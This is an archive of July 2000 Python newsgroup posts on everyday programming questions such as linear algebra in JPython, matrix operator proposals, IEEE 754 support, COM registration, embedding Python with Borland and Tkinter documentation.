Date: Thu, 27 Jul 2000 10:23:23 +0800
Subject: linear algebra in pure Python?
References: <397E9CBC.2AD8FA89@crystal.uwa.edu.au> <m2u2ddrmsi.fsf@spiff.home.com>
Message-ID: <397F9D1B.F6DA7037@crystal.uwa.edu.au>

Tim Hochberg wrote:
> 
> Douglas du Boulay <ddb at crystal.uwa.edu.au> writes:
> 
> > I know that there is the Numeric python extension and/or the
> > Matrix extension MatPy, but is there not anywhere a pure Python
> > linear algebra package exploiting lists of lists for  matrices and the
> > like?
> > (I would like to use eigen analysis etc. with JPython)
> 
> Conrad has already pointed you to his fully Python array

I am actually looking for the extra bits to solve systems of equations
and
the like.

> package. Another option would be to use JNumeric which is a (more or
> less) drop in replacement for Numeric for use with JPython. The
> LinearAlgebra package has not, unfortunately, been ported(1), but if

Thanks, Yes I have already looked at JNumeric. I actually spent a week
or so
modifying the PyMultiarray to accept Measurement (value,variance) pairs 
and propogate them through multiplication addition etc, only to find out
that the matrix vector arithmetic I was doing (predominantly 3x3 or 4x4)
took from 10 to 30 times longer than the original pure-python based 
matrix class (exploiting lists of lists) which I was using. 
Needless to say I was disapointed. I am sure it would be terrific 
as the matrices get larger, but I don't need that at the moment. 

I suspect the big killer was the very repetitious type coercions
involved,
which require construction of many temporary matrices 
(and which I don't have any control over).

On the topic of JNumeric, are you interested in a wedge/cross product 
 and Levi-Cevita antisymmetric tensor function add on for PyMultiarray,
or would that blow the equivalence with Numeric?

> you are only interested in operating on real matrices, there are
> several Java packages out there that will perform various linear
> algebra operations(2). Interfacing between JNumeric and these outside
> package is relatively easy(3).

That sounds like the way to go! I'll check it out.

> (2) Colt (http://tilde-hoschek.home.cern.ch/~hoschek/colt/index.htm)
> is the one I've looked at most recently. You might also want to look
> at Nist's JavaNumerics page (http://math.nist.gov/javanumerics/).
> 
> (3) Function to convert between JNumeric and Colt type matrics are as
> simple as:
> 
> from Numeric import *
> from cern.colt.matrix import *
> from cern.colt.matrix.impl import *
> 
> def JNToColt(ja):
>     nAxes = len(ja.shape)
>     if nAxes not in (1,2,3):
>         raise ValueError, "Colt only supports 1, 2 and 3 dimensional arrays"
>     constructor = [DenseDoubleMatrix1D, DenseDoubleMatrix2D,
>                 DenseDoubleMatrix3D][nAxes-1]
>     return constructor(ja)
> 
> def ColtToJn(ca):
>     return array(ca.toArray())

That seems easy enough.
Thanks for your help
Doug


From anders.eriksson at morateknikutveckling.se  Mon Jul 31 09:06:35 2000
From: anders.eriksson at morateknikutveckling.se (Anders M Eriksson)
Date: Mon, 31 Jul 2000 15:06:35 +0200
Subject: Speed drops when focus moves away from script window
References: <xDdh5.22150$rH5.54436@nntpserver.swip.net>
Message-ID: <ivsaos453d6unf7k0jvfb1j0824eo16v25@4ax.com>

On Mon, 31 Jul 2000 13:44:16 +0200, "christer fernstrom"
<fernstrom at geocities.com> wrote:

>When running Zope, I have noticed a drastic drop in speed (order(s) of
>magnitude!!) when focus is not on the window from which the python
>interpreter is running. Response time for buttons change from a few seconds
>to minutes. I run Python 1.6 on W2000. Any suggestions of what I should do?
>
In the Control Panel - System , You can set how much the active window
shall 'accellerate'

// Anders



From cut_me_out at hotmail.com  Sun Jul  2 21:19:51 2000
From: cut_me_out at hotmail.com (Alex)
Date: 02 Jul 2000 21:19:51 -0400
Subject: multiple inheritance in Python?
References: <395FE156.C0C13FBE@esec.com.au>
Message-ID: <etdaeg0103s.fsf@w20-575-116.mit.edu>

> Does anyone have example of implement multiple inheritance in Python?

What sort of example are you looking for?  The basic syntax is pretty
straightforward, as I understand it.

>>> class A:
    t = 1

... ... >>> 
>>> class B:
    s = 2
... ... 
>>> class C(A, B):
    pass
... ... 
>>> C.t
1
>>> C.s
2
>>> 

C would also inherit methods from A and B, if they had any.

Alex.


From Wolfgang.Strobl at gmd.de.bbs  Mon Jul 17 08:50:05 2000
From: Wolfgang.Strobl at gmd.de.bbs (Wolfgang.Strobl at gmd.de.bbs)
Date: 17 Jul 2000 12:50:05 GMT
Subject: Pythonwin 132: Letters with Umlaut cause problems
Message-ID: <3bRCQT$jHe@openbazaar.net>

"Neil Hodgson" <neilh at scintilla.org> wrote:

>  if key == 220:
>   return 1

>   This avoids calling win32ui.TranslateVirtualKey for the "^" key.

This helps. Many thanks!

>More
>tests may be needed for other accent characters or other locales.

if key == 220 or key == 221:
 return 1

is sufficient for the German keyboard locale IMHO, it disables the other
special key, on the other side of the keyboard, left to the backspace
key, too.  That key is labeled "?" and "`" on the German keyboard.


--
      o      (    Wolfgang.Strobl at gmd.de          (+49 2241) 14-2394
     /\        *  GMD Forschungszentrum Informationstechnik GmbH
   _`\ `_<===     Schloss Birlinghoven,           | #include
__(_)/_(_)___.-._ D-53754 Sankt Augustin, Germany | <std.disclaimer>


From paul at prescod.net  Sun Jul 16 13:26:45 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 16 Jul 2000 12:26:45 -0500
Subject: ANNOUNCE: Visual Python v0.1 for KDE and GNOME
References: <963764534.1476580377@news.demon.co.uk>
Message-ID: <3971F055.68CD6897@prescod.net>

Phil Thompson wrote:
> 
> ...
> 
> The Visual Python home page is at http://www.thekompany.com/projects/vp/.

Be careful. When I worked at Watcom we tried to make "Visual REXX" to
hear that some other company (not Microsoft, but obviously related to
Microsoft) had a trademark on Visual X where X is a programming
language. Microsoft licenses the name and other people are supposed to
also.

Of course this was years and years ago so I don't know what the current
situation is.

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From paul at prescod.net  Sat Jul 15 15:22:19 2000
From: paul at prescod.net (Paul Prescod)
Date: Sat, 15 Jul 2000 14:22:19 -0500
Subject: Does Python code >.require<< a run-time environment?? (New to  
 Python)
References: <20000714153818.28906.qmail@web5302.mail.yahoo.com> <396F4473.35DCA488@prescod.net> <8F729880Egmcmhypernetcom@199.171.54.194>
Message-ID: <3970B9EB.8FF00EF9@prescod.net>

Gordon McMillan wrote:
> 
> ...
> > For Python, you want to look
> >at
> >
> >http://starship.python.net/crew/gmcm/distribute.html
> >
> >For Java, at "jexegen.exe".
> 
> Sorry, Paul, the latter does not bundle in the interpreter. It just
> packages up byte code and uses a small exe to start your MS JVM.

True, I forgot that because the MS JVM tends to be installed. I think I
may have exaggerated the features of the former too. Is there any easy
way to make a single executable for Python, the standard library,
required .pyd's and your code? My vague impression is that you could if
you had a compiler and the source for your pyd's, or else you could fall
back on an installer (rather than a single big runnable app).

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From m.faassen at vet.uu.nl  Wed Jul 26 08:51:33 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 26 Jul 2000 12:51:33 GMT
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <8l4g5i$8$1@slb7.atl.mindspring.net> <slrn8nc2oi.1r91.gjm11@g.local> <3976371F.210C2C21@uab.edu> <8l5lne$lb$1@slb0.atl.mindspring.net> <slrn8nd80e.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl> <87snt4iq6k.fsf@redcow.flibble.org>
Message-ID: <8lmmsl$hp0$1@newshost.accu.uu.nl>

Simon Oke <simon at redcow.flibble.org> wrote:
[snip]
>> For the function that creates [1,2,3,4,5,6] of [1,3,5] and [2,4,6], yes.

> I believe in INTERCAL this operator is known as 'mingle'.

That clinches the issue. We *have* to follow INTERCAL semantics here. :)

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From mnjeunn at sandia.gov  Mon Jul 10 14:30:28 2000
From: mnjeunn at sandia.gov (mnjeunn)
Date: Mon, 10 Jul 2000 11:30:28 -0700
Subject: COM registration
Message-ID: <396A1644.6D6C5090@sandia.gov>

I am trying to arrange communication between a piece of Visual C++ code
and a python program on two different Win95 computers.  In its simplest
form, my task is to have the Visual C++ code call a function from the
python code across the network, and then work with the string that the
python function returns.  

I've managed to get Python to register a COM object on the server
computer, but running the same code on the client machine gets no
results.  In both cases I have a script to run
win32com.server.register.UseCommandLine(ClassName).  After running the
script, I open the dcomcnfg utility to verify that the object is
registered...on the server computer (windows 95 version 4.00.950 B,
dcom95) it comes up fine, but on the client machine (same windows
version, but with IE 4.04.72.3110.8 and dcom98) the file I need doesn't
show up under available applications in the dcomcnfg window.  Is there
another method for registering a python COM object on the client
computer?

Any ideas or suggestions would be greatly appreciated.

Cheers,
Mark


From dima at xenon.spb.ru  Wed Jul  5 11:19:52 2000
From: dima at xenon.spb.ru (Dmitry Rozmanov)
Date: Wed, 05 Jul 2000 19:19:52 +0400
Subject: CGI POST on Win98
References: <395FB218.5CCD76C8@tiscalinet.it>
Message-ID: <39635218.69678C49@xenon.spb.ru>

I see such a behaviour under win95 and tinyweb. If I use post with the
CGI_Test.py then python hangs up. Use get instead with test. But your
code will work ok and with post and with get.

	---Dmitry.

Paolo Montrasi wrote:
> 
> I have installed PWS and Python 1.5.2 on my win98 machine, created a
> simple form which runs the test() function on the cgi module, when i use
> method GET in the form all works perfectly but when I try to use the
> POST method the page never appears on my browser and I see python.exe in
> my machine process list. The same thing works perfectly under NT. I have
> searched the archive but I was not able to find help so I am thinking I
> am wrong with something but I do not know where, can you help me?
> 
> ciao
> Paolo


From root at rainerdeyke.com  Sat Jul 15 01:04:22 2000
From: root at rainerdeyke.com (Rainer Deyke)
Date: Sat, 15 Jul 2000 05:04:22 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396F502B.45225ED9@roguewave.com> <slrn8mv7qg.rl.hzhu@rocket.knowledgetrack.com> <396FABF3.B82E0C2@roguewave.com>
Message-ID: <qhSb5.22655$6y5.17814068@news2.rdc2.tx.home.com>

"Bjorn Pettersen" <bjorn at roguewave.com> wrote in message
news:396FABF3.B82E0C2 at roguewave.com...
>   mylist.foo()  # are you calling the foo method on the list or the
> elements?

A valid point (though not very clearly stated).  Suppose that for all X, .X
is the elementwise operator such that:

a = b .X c

is equivalent to:

a = []
for x in range(len(b)):
  a.append(b[x] X c[x])

What about situations where X is a function instead of an operator?  Should
we allow the following syntax?

a = b..f()

(Equivalent to the following:)

a = []
for x in b:
  a.append(x.f())

Is b..f(c) equivalent to this:

a = []
for x in range(len(b))
  a.append(b[x].f(c[x]))

or is it equivalent to this:

a = []
for x in b:
  a.append(x.f(c))

For that matter, what if X is .+ (or ..+)?  Should we allow this:

a = b ..+ c

as equivalent to this:

a = []
for x in range(len(b))
  a.append(b .+ c)

There has to be a better way to do elementwise operations.


--
Rainer Deyke (root at rainerdeyke.com)
Shareware action/role-playing games      -      http://rainerdeyke.com
"In ihren Reihen zu stehen heisst unter Feinden zu kaempfen" - Abigor




From erno at iki.fi  Fri Jul 21 21:46:59 2000
From: erno at iki.fi (Erno Kuusela)
Date: 22 Jul 2000 04:46:59 +0300
Subject: closing a socket
References: <8l72lp$mah$1@nnrp1.deja.com>
Message-ID: <kuvgxzueb0.fsf@lasipalatsi.fi>

if you want to be able to bind to the same port immediately
afterward, you can disable the so-called TIME_WAIT state
by setting the socket option SO_REUSEADDR. (you can
do this with the setsockopt method of socket objects.)

it's not on by default because doing so leads to
(small) risk of data corruption with TCP.

for in-depth explanation of the whole thing, see <URL:http://
www-db.stanford.edu/~cho/programming/unix-socket-faq-4.html#ss4.5>
and <URL:http://www-db.stanford.edu/~cho/programming/
unix-socket-faq-2.html#time_wait>.

  -- erno


From paul at prescod.net.bbs  Mon Jul 17 19:10:03 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 23:10:03 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRSXT$ji3@openbazaar.net>

Charles Boncelet wrote:
>
> ....
>
> Why is it ordained that objects should have only two operations, "*" and
> "+",
> defined with simple operators?   "+" on strings means something entirely
>
> different than "+" on numbers.  Why not add an "@" operator?

Because 90% of Python programmers would not know what it means.

Look, if you took a poll of all programmers in the world, only a small
fraction use matrices very often. Therefore it is a niche. Most
programmers use numbers and strings every day, however.

Still, we all want you to succeed. We just disagree on the right
approach. Here's my suggestion:

> Python could become the primary open source alternative to Matlab in
> time
> if a few changes were made: Incorporate numpy into the core distribution
> (or
> release a  distribution with it already embedded),

The process of creating a numpy enabled distribution is underway.

> improve the help facility at the interpreter.

A module for that is under development.

> simplify the syntax for matrix operations

You (matrix people) can do that by parsing your own Python-like syntax
and generating Python byte codes or Python source code. You don't need
any official blessing from Guido or anyone else. Several people have
written compilers for languages like Python IN Python and in other
languages. It is possible. There are even techniques for making your
language work on the interpreter line. We can help with that.

--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From oivvioREMOVETHIS at cajal.mbb.ki.se  Mon Jul 24 10:57:36 2000
From: oivvioREMOVETHIS at cajal.mbb.ki.se (Oivvio Polite)
Date: Mon, 24 Jul 2000 16:57:36 +0200
Subject: the right way of handling **args for __init__ and other methods
Message-ID: <8lhlfg$sk5$1@news.kth.se>

Hi all.
I guess this is more of a design question than a howto question.

It has to do with implementing arbitrary-argument set methods.
I want the user to be able to use the same interface with __init__ and read.
This is a stripped down version:
class argeater:
    def __init__(self, somearg, **args):
        print "init ",args
        self.data = {}
        self.read(somearg, argdict=args)

    def read(self, somearg, argdict=None,**args):
        print "read ",args
        print "argdict ",argdict

        #putting everything from argdict into args
        #feels a bit awkward.
        if argdict:
            assert type(argdict) == types.DictionaryType
            for key in argdict.keys():
                if not args.has_key(key):
                    args[key] = argdict[key]

        #now do a lot of stuff to self.data
        #based on contents of args

#but the user will have a nice and uniform interface to the class.
spam = argeater(1, a = 1, b = 2,c = 3)
spam.read(1, a = 4, b = 5,c = 6)

is this have you would have done it?
oivvio




From bjorn at roguewave.com  Mon Jul 24 13:52:24 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Mon, 24 Jul 2000 11:52:24 -0600
Subject: mapping the read() fonction
References: <8lhsu5$huv$1@reda.worldonline.fr>
Message-ID: <397C8258.D58E027A@roguewave.com>

Benjamin wrote:
> 
> I would like to map the read() function of a file object
> 
> I have a list of file objects. I want to return the list of their content
> using the map function
> 
> I've used the map function to open my list of file
>     map(open,list,{"r","r","r"})  (to open a list of 3 files for example)
> 
> but I can't do the same for the read() function, because it is a method
> function of the file class
> How can I map the read() fonction to my list of file? The problem is that I
> don't know the class name of a file object.
> 
> The only solution for the moment id to use a for loop on my list....

  map( lambda f:f.read(), [list of open files])

or perhaps:

  def openAndRead(filename):
      return open(filename).read()

  map( openAndRead, listOfFilenames )

-- bjorn



From oivvioREMOVETHIS at cajal.mbb.ki.se  Wed Jul 19 12:11:58 2000
From: oivvioREMOVETHIS at cajal.mbb.ki.se (Oivvio Polite)
Date: Wed, 19 Jul 2000 18:11:58 +0200
Subject: emacs keybindings in pythonwin
Message-ID: <8l4jv0$t61$1@news.kth.se>

PythonWin allows you to customize keyboard bindings.
The example file show how to set
Ctrl+Q          to  AppExit
and some other things.

But what if I wanted to set it to Ctrl-x Ctrl-c

Has anyone worked that out yet?
Maybe there's a whole emacs.cfg out there longing for the... eh spinning of
my harddrive.

oivvio





From hzhu at knowledgetrack.com  Wed Jul 19 18:26:24 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Wed, 19 Jul 2000 22:26:24 GMT
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <slrn8n9s6i.so.hzhu@rock.localdomain> <m2u2dnkltz.fsf@spiff.home.com> <slrn8na4js.so.hzhu@rock.localdomain> <slrn8nc28i.1r91.gjm11@g.local>
Message-ID: <slrn8ncavi.11c.hzhu@rocket.knowledgetrack.com>

On Wed, 19 Jul 2000 21:01:22 +0100, Gareth McCaughan <gjm11 at g.local> wrote:

>You can do A\B in O(n^2) time? That's news to me. In fact,
>I don't believe you.

Oh-oh, (blush) The ratio between A.inv*B and A\B is more like (n+m)/(n/6+m),
or something similar.  The the factor is larger for smaller m, but it's
bounded and not going up like n.

Huaiyu


From tim_one at email.msn.com  Mon Jul 24 03:35:39 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Mon, 24 Jul 2000 03:35:39 -0400
Subject: IEEE 754 (was RE: [long and fussy] But what do these operators _mean_?)
In-Reply-To: <20000721084848.C9897@xs4all.nl>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEINGLAA.tim_one@email.msn.com>

[Edward Jason Riedy]
> Python doesn't provide reasonable ways to test for Inf or NaN.
>
> These are needed in new eigenvalue routines (the only known
> optimal ones).  Yes, I know, there are some non-IEEE architectures
> left, but they shouldn't be encouraged.  (Keep in mind that I'm at
> Berkeley; expect a strong IEEE-754 bias.)

More accurately, Python provides no ways at all to test for Inf or NaN.  If
it provided unreasonable ways, half the battle would be over <wink>.

[Thomas Wouters]
> Well, now that the C standard (C99) says *something* about the
> implementation of floating point numbers, we can expect some
> change in this.
> However, given that it took 10 years before Guido decided for an
> all-out move from K&R C to ANSI C, it's not likely to happen
> overnight ;)
>
> Tim can probably say more about this, though, as usual.

For starters, I know of no implementation of C99, so it's a bit premature to
switch to its features.  There's no portable way to provide 754 support via
current C (e.g., as Jason said in another msg, *many* compilers optimize "x
!= x" to 0 today when x is double or float; indeed, Python itself does
too!).

This means that just to start, we need to define an internal 754 C API, and
implement it via mounds of platform-#ifdef'ed trickery.  The practical
problem with this is that it requires people expert in both their platforms
(HW and compiler and libc) and 754 subtleties, and they're mighty rare.  I
can do it for the intersection of x86 chips and Microsoft's compiler, but
that's it.  The only platform-clever floating code in Python today is in
fpectlmodule.c, and was written by someone whose main interest in life
seemed to be to make 754 hardware act as if 754 had never happened (i.e., it
aims to raise a fatal error (not a Python exception!) on overflow, invalid
operation and "divide by 0").

So that's the technical battle.  The political battle is that most
number-crunchers in practice still don't understand why 754 is A Good Thing,
and in my experience fight it tooth & nail (yes, Kahan likes to pin the
blame on short-sighted vendors and their infernal benchmarks, but having
been on all sides of this game, I can assure you that vendors will claw each
other to death to provide what users *ask* for -- but, alas, they
overwhelmingly don't ask for a better 754 story).

In short, just business as usual in the wacky world of floating point
<wink>.

nevertheless-python-*could*-become-an-outstanding-754-platform-ly
    y'rs  - tim





From see at my.signature  Mon Jul 24 01:28:07 2000
From: see at my.signature (Greg Ewing)
Date: Mon, 24 Jul 2000 17:28:07 +1200
Subject: Trouble when overloading operator[ ]
References: <8l720o$lr4$1@nnrp1.deja.com> <8l76hm$pm9$1@nnrp1.deja.com> <LBGd5.1837$6E.377728@ptah.visi.com> <8l9qfp$gc6$1@nnrp1.deja.com> <6%_d5.1964$6E.417529@ptah.visi.com> <8lclbq$f6o$1@nnrp1.deja.com>
Message-ID: <397BD3E7.38BF914F@my.signature>

You may know already, but I just thought I'd mention
that you can use this trick to make the implementation
of your 2-index __getitem__ function look nice:

   class MyClass:
     def __getitem__(self, (x,y)):
       ...

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From denalione at my-deja.com  Sun Jul  9 23:07:21 2000
From: denalione at my-deja.com (Dale Burnett)
Date: Mon, 10 Jul 2000 03:07:21 GMT
Subject: PythonService file creation
Message-ID: <8kbel1$qrp$1@nnrp1.deja.com>

When running my app at the command prompt using the debug option I can
create a new file and write to it.  When the app is started via Control
Panel/Services the file is not created and written too.  I have used the
python native file functions and the NT api CreateFile() function.  I
have tried running the service using the System Account with Interact
with Desktop checked and specifying an account.
Any suggestions?


Sent via Deja.com http://www.deja.com/
Before you buy.


From edream at tds.net  Mon Jul 17 18:59:41 2000
From: edream at tds.net (Edward K. Ream)
Date: Mon, 17 Jul 2000 22:59:41 GMT
Subject: Can't load .pyd files from embedded Python interp
References: <39722B90.A41E02B5@tds.net> <8F73D685Egmcmhypernetcom@199.171.54.194> <3973384F.D6964D88@tds.net> <8F748426Egmcmhypernetcom@199.171.54.155>
Message-ID: <39738FAD.A3BF1484@tds.net>

Hey!  Clean link, proper execution! Yippee.

> >I'll write up my experiences when I've successfully embedded Python in
> >my app.  For now the conclusion seems to be that one only need link in
> >C:\Windows\System\python15.dll to the app.  There are some details
> >specific to Borland, but presumably they won't be difficult.

Getting a clean link was straightforward. I renamed
c:\Windows\System\python15.lib to be python(orig)15.lib, then ran the
Borland IMPLIB utility that creates import libs as follows:

IMPLIB -a python15.lib python15.dll

The -a option adds '_' alias for cdecl functions for compatibility with
Microsoft libraries.  After running IMPLIB one should _not_ declare
functions with the __declspec attribute; just #include "python.h" and
the linker is happy.  Don't ask me why, maybe it's the -a options, maybe
it's IMPLIB itself, maybe its magic.

To link, I just added python15.dll and python15.lib to the project. 
That's all.

I've just stepped through the following statements in my test app with
no apparent problems:

    Py_Initialize();
    PyRun_SimpleString("import sys");
    PyRun_SimpleString("for i in sys.path: print i");
    PyRun_SimpleString("import parser");

Well, err, stderr and stdout seem to have disappeared, but that's
another issue.  Presumably there is a way to send output to a window, a
la Pythonwin.  Heh, heh.

Warning Redux:  you must not call any of the misnamed "very high level"
functions in the C API that have FILE * arguments when using the Borland
compiler because Borland's idea of a struct FILE is not the same as
Microsoft's.  It's really too bad that there are _no_ "very high level"
functions in the C API that will open a file for you.  This should be
fixed, and it would be trivial to do so.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------


From dougfort at downright.com  Sat Jul  1 07:06:35 2000
From: dougfort at downright.com (Doug Fort)
Date: Sat, 1 Jul 2000 07:06:35 -0400
Subject: Missing OmPyUnit module in OmPyUnit
Message-ID: <0hk75.10271$HD6.284269@iad-read.news.verio.net>

We've been using Steve Purcell's PyUnit from SourceForge.  It's limited, but
reliable.  I'm attempting to investigate OmPyUnit as an alternative.  It
seems to offer more functionality, plus I have great respect for
ObjectMentor ands Robert Martin.

However, the package I downloaded seems to be missing a module:   OmPyUnit.
What's up with this?  It doesn't fill me with confidence.

--
Doug Fort
Meat Manager
Downright Software
http://www.dougfort.com/~dougfort





From anamax at earthlink.net  Fri Jul 14 21:09:22 2000
From: anamax at earthlink.net (Andy Freeman)
Date: Sat, 15 Jul 2000 01:09:22 GMT
Subject: IDLE startup error on NT4
Message-ID: <8kodjp$aj2$1@nnrp1.deja.com>

While starting IDLE on NT4, I get an error message about it not
finding tcl80.dll (and the other tk and tcl dlls), an error that
I don't get on Win95/98.  No, it isn't the error message from
FixTk - FixTk appears happy - the problem seems to occur during
import _tkinter.

My "fix" was to simply move the relevant files to the Python
DLL directory on NT, but surely there's something else going
on here.

-andy


Sent via Deja.com http://www.deja.com/
Before you buy.


From gjm11 at g.local  Sat Jul 15 18:38:30 2000
From: gjm11 at g.local (Gareth McCaughan)
Date: Sat, 15 Jul 2000 23:38:30 +0100
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396F502B.45225ED9@roguewave.com> <slrn8mv7qg.rl.hzhu@rocket.knowledgetrack.com> <396FABF3.B82E0C2@roguewave.com> <slrn8mvbt9.rl.hzhu@rocket.knowledgetrack.com>
Message-ID: <slrn8n1pv6.utl.gjm11@g.local>

Huaiyu Zhu wrote:
> How would you write this in list compresension (in less than 10 lines)?
> 
> B*(sin(A*x+b).*(A*y)/3)/C
> 
> Note that * is matrix multiplication and .* is elementwise.  Note that C is
> a matrix so the / is matrixwise.  If you want to write everything as for
> loops it takes at least 30 lines, without any decent error analysis.

    B*[p*q/3 for p in A*x+b, q in A*y]/C

(I've forgotten the proposed syntax for comprehension, so that
may be slightly wrong.) I'm not sure what precedences you want
the .* and / operators to have, so it's possible that I really
mean

    B*[p*q for p in A*x+b, q in (A*y)/3]/C ;

of course they evaluate to the same thing anyway.

-- 
Gareth McCaughan  Gareth.McCaughan at pobox.com
sig under construction


From sabren at manifestation.com  Sat Jul 29 18:29:17 2000
From: sabren at manifestation.com (Michal Wallace)
Date: Sat, 29 Jul 2000 18:29:17 -0400 (EDT)
Subject: The 'widget' demo with python/Tkinter
In-Reply-To: <3983D000.55110EEE@galactica.it>
Message-ID: <Pine.BSF.4.10.10007291822480.758-100000@chi.pair.com>

On Sat, 29 Jul 2000, Francesco Bochicchio wrote:

> Matthew Dixon Cowles wrote:

> > If you haven't seen it already, you might find Fredrik Lundh's
> > introduction to Tkinter worth a look. It's at:
> > 
> > http://www.pythonware.com/library.htm
> > 
> > I certainly find it useful. As far as I'm aware, it's the current state
> > of the art in Tkinter documentation.
> > 
> I also found it very useful ( though it seems still a work in progress

You both might want to check out _Python and Tkinter programming_ by
John E. Grayson - http://www.manning.com/Grayson/index.html

It's considerably more complete than anything else I've seen, and a
well written book all around. It's written for people who already
know python, and are ready for the next step. I'd never made a real
GUI app before, and it helped a lot. It's also got a complete
Tkinter and Pmw reference in the back..

I've also heard rumors that Fredrik's coming out with a Tkinter book,
but I don't think I've ever heard _him_ say that..

Cheers,

- Michal
------------------------------------------------------------------------
www.manifestation.com  www.sabren.com  www.linkwatcher.com  www.zike.net
------------------------------------------------------------------------




From tony at lsl.co.uk  Tue Jul 11 08:10:07 2000
From: tony at lsl.co.uk (Tony J Ibbs (Tibs))
Date: Tue, 11 Jul 2000 13:10:07 +0100
Subject: POOP / Python (Object Oriented Persistence) ?
In-Reply-To: <8kf0od$708$1@newshost.accu.uu.nl>
Message-ID: <003101bfeb30$f3e5bb60$f0c809c0@lslp7o.lsl.co.uk>

Martijn Faassen wrote:
> > It sounds to me as if this would
> > be a useful thing to layer on top of a COM or CORBA interface to
> (for instance) an existing GIS, taking advantage of whatever versioning,
> > locking, etc., that that existing software provides.
>
> Hm, I'm not quite sure what you mean here. What's a GIS?

Sorry. Geographical Information System. The better ones (for example, the
system produced by the company I work for) are already object oriented, with
versioning, etc. "Free-standing" things like integers and lists aren't
persistent, but the objects relating to geographic data are, and they can be
quite interesting of themselves. But it sounds like this would require
*serious* design commitment...

> > So, why isn't this better known?
>
> I think because the Python and Zope worlds are quite a bit apart in some
> ways. Of course there's lots of overlap, but your average Zope user isn't
> necessarily well aware of the Python community and vice versa. Of course
> AMK's article is probably specifically an attempt to make the ZODB more
> well known.
>
> It'd also help if the ZODB could be easily downloaded as a
> package by itself.

That's my main gripe at the moment, I think. I'll have to make some comments
on the "Feedback" slots at digicool, or somewhere - but not today!

Tibs

--
Tony J Ibbs (Tibs)      http://www.tibsnjoan.demon.co.uk/
Well we're safe now....thank God we're in a bowling alley.
- Big Bob (J.T. Walsh) in "Pleasantville"
My views! Mine! Mine! (Unless Laser-Scan ask nicely to borrow them.)




From rogerducky at my-deja.com  Thu Jul 27 15:52:38 2000
From: rogerducky at my-deja.com (rogerducky at my-deja.com)
Date: Thu, 27 Jul 2000 19:52:38 GMT
Subject: rexec and traceback
Message-ID: <8lq3u4$2ib$1@nnrp1.deja.com>

Potentially a newbie question, but nobody else
seem to have asked this before...

Is it possible to use the traceback module along
with rexec to produce a stack trace?

Here's what I'm trying to do:

In one.py:
import traceback

print traceback.extract_stack()

------
In two.py:
import rexec
import traceback
import sys

#Added exc_info, which traceback needs.
class DHooks(rexec.RHooks):
        ok_sys_names = ('ps1','ps2', 'copyright',
'version', 'platform','exit', 'maxint',
'exc_info')

if __name__ == '__main__':
        env = rexec.RExec(DHooks())
        env.r_execfile('one.py')
-----
Executing one.py in the normal environment
produced the expected result.  Running under
rexec, however, exc_info simply will not return a
stack trace.  (Originally, I hoped it would return
a stack trace for the restricted environment...)

Reason for my wanting this?  Capture/printing of
error traces while within the restricted
environment.

Any help and/or suggestions would be appreciated.
Thanks,
Peter Yu


Sent via Deja.com http://www.deja.com/
Before you buy.


From cut_me_out at hotmail.com  Mon Jul  3 07:55:55 2000
From: cut_me_out at hotmail.com (Alex)
Date: 03 Jul 2000 07:55:55 -0400
Subject: Getting double* from NumPy array?
References: <ted.drain-2606001323500001@mjordan.jpl.nasa.gov> <72T75.24010$i5.229971@news1.frmt1.sfba.home.com>
Message-ID: <etdvgynjulw.fsf@w20-575-34.mit.edu>

> There is quite a bit to know and just telling you to access x->data
> would not be doing you any favors.

Ah, well my apologies for the bad advice, then.

> Please read the entire chapter before proceeding.

Sounds like something I ought to do, too.

Alex.


From xiarcexml at yahoo.com.bbs  Mon Jul 17 14:10:03 2000
From: xiarcexml at yahoo.com.bbs (xiarcexml at yahoo.com.bbs)
Date: 17 Jul 2000 18:10:03 GMT
Subject: Does Python code >.require<< a run-time environment?? (New to   P
Message-ID: <3bRKgT$mnm@openbazaar.net>

I suppose... I have always had the kits and the java files installed
on my computer... and when I started my major project (version 1.0)
completed with Java, I was doing so because I had Macs and IBMS and
Unix's, Linux's as potential clients.  I was going for Java because
of its touted 'platform independence'.
    I love Java... BUT.. it is not as independent as Sun would have
wanted it...

Ironically, now, I have only Windows users... but the language I
chose to 'learn' was Java for it, and it is written in Java...

Currently, they DL the files and install them into wherever their
classes run, and type in the RUN box C:\WINDOWS\Jview CyberGameTable

